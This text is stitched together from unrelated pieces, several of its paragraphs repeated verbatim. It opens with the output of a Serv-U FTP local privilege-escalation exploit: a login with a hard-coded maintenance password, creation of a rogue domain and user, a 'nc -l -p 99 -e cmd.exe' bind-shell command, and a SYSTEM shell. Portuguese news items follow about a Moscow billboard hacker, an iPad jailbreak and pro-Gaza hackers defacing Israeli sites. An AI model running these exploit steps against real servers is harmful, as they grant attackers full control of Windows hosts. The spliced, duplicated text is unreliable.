<331 User name okay, need password.
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>PASS #l@$ak#.lk;0@P
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>SITE MAINTENANCE
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[+] Creating New Domain...
<200-DomainID=3
220 Domain settings saved
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[+] Domain Haxorcitos:3 Created
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[+] Creating Evil User
<200-User=haxorcitos
200 User settings saved
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[+] Now Exploiting...
>USER haxorcitos
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>PASS whitex0r
<230 User logged in, proceed.
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[+] Now Executing: nc -l -p 99 -e cmd.exe
<220 Domain deleted
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G:\exploit\serv-U\local>nc localhost 99
Microsoft Windows XP [Versión 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\>whoami
whoami
NT AUTHORITY\SYSTEM
C:\>
*/
A polícia da Rússia prendeu um suspeito de ter passado um vídeo pornô em um painel publicitário no centro de Moscou em janeiro, provocando um grande congestionamento, informou uma porta-voz do Ministério do Interior.
O preso mora em Novorossiisk, tem conhecimento técnico elevado e está desempregado. Segundo o ministério, ele é um especialista em Internet e já tinha registros criminais por hackear computadores.
Segundo as autoridades, ele confessou o crime, cometido em 14 de janeiro, mas disse que não tinha intenção de provocar um estrago tão grande.
Um vídeo pequeno mostrando carros desacelerando e parando em plena rua para observar a tela foi publicado no YouTube e em sites russos na época. A Rússia baniu a nudez na televisão antes da queda da União Soviética em 1991.
O preso mora em Novorossiisk, tem conhecimento técnico elevado e está desempregado. Segundo o ministério, ele é um especialista em Internet e já tinha registros criminais por hackear computadores.
Segundo as autoridades, ele confessou o crime, cometido em 14 de janeiro, mas disse que não tinha intenção de provocar um estrago tão grande.
Um vídeo pequeno mostrando carros desacelerando e parando em plena rua para observar a tela foi publicado no YouTube e em sites russos na época. A Rússia baniu a nudez na televisão antes da queda da União Soviética em 1991.
O novo gadget da Apple foi pirateado em pouco mais de 24 horas após o seu lançamento no sábado, nos EUA. (Veja vídeo no fim do texto)
O grupo de piratas Dev-Team, que já quebrara os mecanismos de segurança do iPhone, desbloqueou agora o iPad, para poder instalar aplicações sem autorização no dispositivo da Apple, que vendeu 300 mil exemplares nos EUA no sábado.O aparelho, que se revelou um sucesso de vendas no dia de lançamento, foi pirateado em pouco mais de 24 horas, tendo os hackers colocado um vídeo no YouTube (ver vídeo no fim do texto) e uma mensagem no Twitter a celebrarem o facto, noticia o jornal espanhol El País.
Seguindo as indicações de MuscleNerd - assim assina o pirata no YouTube -, os proprietários do iPad podem instalar aplicações de terceiros não autorizadas pela empresa fabricante, bem como modificar as originais.
300 mil exemplares vendidos
De acordo com a Apple, além dos 300 mil exemplares vendidos do iPad, os utilizadores do novo gadget descarregaram, no sábado, mais de um milhão de aplicações da App Store e mais de 250 mil livros eletrónicos da iBookstore, o que confirma o iPad como grande rival de e-readers como o Kindle, da Amazon.
É previsível que as vendas voltem a aumentar nos Estados Unidos no fim do mês, quando ficará disponível uma versão do aparelho com ligação 3G à Internet, enquanto o modelo atual apenas tem ligação wi-fi.
Amazon lança versão do IMDb
Entretanto, a oferta de produtos para o iPad aumenta: o criador de videojogos Gameloft publicou um vídeo com os shooters N.O.V.A. e Modern Combat Sandstorm, com o jogo de cartas UNO, os desportivos Real Football 2010, Let's Golf e NFL 2010 e o jogo de velocidade Asphalt 5.
E a própria Amazon lançou uma versão da Internet Movie Database (IMDb) , portal de cinema de que é proprietária, para o novo produto da Apple.
Também a Disney preparou uma aplicação gratuita que permite ver as suas bandas desenhadas no iPad, colocando à disposição dos utilizadores os heróis da Marvel, empresa que adquiriu em 2009.
No final de abril, o iPad deve ficar disponível na Alemanha, Austrália, Canadá, Espanha, França, Itália, Japão, Reino Unido e Suíça.
Beirute - Muitos sites israelitas foram recentemente «atacados» e bloqueados como vingança da guerra lançada contra Gaza. Os alvos são sites de empresas de negócios, sector privado ou público, instituições do Governo israelita e partidos políticos.
«Os hackers apoiam Gaza à sua maneira: a guerra na internet» afirmou um dos hackers que se intitula Romeu acrescentando que «estamos a trabalhar dia e noite, redobrando os nossos esforços porque esta batalha precisa duma liderança inteligente e lutadores fortes». Romeu tem contacto com outros amigos hackers, entre eles «Hack back» ou «Mr night» (nomes de código).
Romeu afirma que são um grupo de vinte «piratas», comunicam uns com os outros, especificam o alvo e de seguida começa o ataque aos sites seleccionados usando a alta tecnologia que permite a «ofensiva». «Se verificarmos que o alvo tem imunidade ao ataque, mudamos os planos e atacamos novamente».
Nos últimos tempos este grupo decidiu apoiar Gaza.
Romeu reforçou que no passado não costumavam atacar empresas ou sites privados mas depois do que aconteceu: «decidimos acabar com qualquer site que consigamos atacar, atacámos empresas de negócios, sector privado ou público, instituições do Governo ou partidos. Um dos momentos de maior felicidade e orgulho foi quando colocámos as fotografias do mártir e das bandeiras da resistência nos sites que ocupámos».
Os hackers enviaram uma mensagem ao partido democrata libanês dizendo que amigos dos «hackers» teriam no dia anterior atacado nove sites num acto de vingança pelo massacre em Gaza e fazendo deles um palco de recusa, declarando o seu total apoio a Gaza, ao Hamas e à resistência islâmica e ao Hezbollah. «Os israelitas conseguiram recuperar alguns sites mas os restantes continuam sob o nosso controlo e prometemos-lhes mais: a vitória da resistência».
Outro «hacker», que se intitula «Mr night», disse que no passado, desde 2006, dezenas de «hackers» atacaram sites israelitas. «Eu só bloqueio sites que não estão completamente protegidos mas por vezes também escolho alguns bem protegidos. Fico muito tempo a estudar o sistema e depois tento criar novas técnicas para quebrar o escudo de protecção».
Ele não se importa se os seus nomes sejam revelados porque é quase impossível descobrir quem está por detrás dos ataques. Depois de terminar a operação ele apaga todos vestígios. «Faço isto a partir de casa, depois de acabar apago qualquer vestígio que possa revelar a minha identidade, mas para fazer isto é necessário perceber bem como funciona o sistema. Às vezes utilizo o meu programa de pirataria para piratear. A única forma que existe de descobrirem a minha identidade é quando o administrador está no site na mesma altura em que estamos a penetrar no sistema mas isto é impossível tendo em conta a falta de segurança dos sites israelitas uma vez que são pouco monitorizados», afirma o ciber-pirata.
«Os hackers apoiam Gaza à sua maneira: a guerra na internet» afirmou um dos hackers que se intitula Romeu acrescentando que «estamos a trabalhar dia e noite, redobrando os nossos esforços porque esta batalha precisa duma liderança inteligente e lutadores fortes». Romeu tem contacto com outros amigos hackers, entre eles «Hack back» ou «Mr night» (nomes de código).
Romeu afirma que são um grupo de vinte «piratas», comunicam uns com os outros, especificam o alvo e de seguida começa o ataque aos sites seleccionados usando a alta tecnologia que permite a «ofensiva». «Se verificarmos que o alvo tem imunidade ao ataque, mudamos os planos e atacamos novamente».
Nos últimos tempos este grupo decidiu apoiar Gaza.
Romeu reforçou que no passado não costumavam atacar empresas ou sites privados mas depois do que aconteceu: «decidimos acabar com qualquer site que consigamos atacar, atacámos empresas de negócios, sector privado ou público, instituições do Governo ou partidos. Um dos momentos de maior felicidade e orgulho foi quando colocámos as fotografias do mártir e das bandeiras da resistência nos sites que ocupámos».
Os hackers enviaram uma mensagem ao partido democrata libanês dizendo que amigos dos «hackers» teriam no dia anterior atacado nove sites num acto de vingança pelo massacre em Gaza e fazendo deles um palco de recusa, declarando o seu total apoio a Gaza, ao Hamas e à resistência islâmica e ao Hezbollah. «Os israelitas conseguiram recuperar alguns sites mas os restantes continuam sob o nosso controlo e prometemos-lhes mais: a vitória da resistência».
Outro «hacker», que se intitula «Mr night», disse que no passado, desde 2006, dezenas de «hackers» atacaram sites israelitas. «Eu só bloqueio sites que não estão completamente protegidos mas por vezes também escolho alguns bem protegidos. Fico muito tempo a estudar o sistema e depois tento criar novas técnicas para quebrar o escudo de protecção».
Ele não se importa se os seus nomes sejam revelados porque é quase impossível descobrir quem está por detrás dos ataques. Depois de terminar a operação ele apaga todos vestígios. «Faço isto a partir de casa, depois de acabar apago qualquer vestígio que possa revelar a minha identidade, mas para fazer isto é necessário perceber bem como funciona o sistema. Às vezes utilizo o meu programa de pirataria para piratear. A única forma que existe de descobrirem a minha identidade é quando o administrador está no site na mesma altura em que estamos a penetrar no sistema mas isto é impossível tendo em conta a falta de segurança dos sites israelitas uma vez que são pouco monitorizados», afirma o ciber-pirata.


















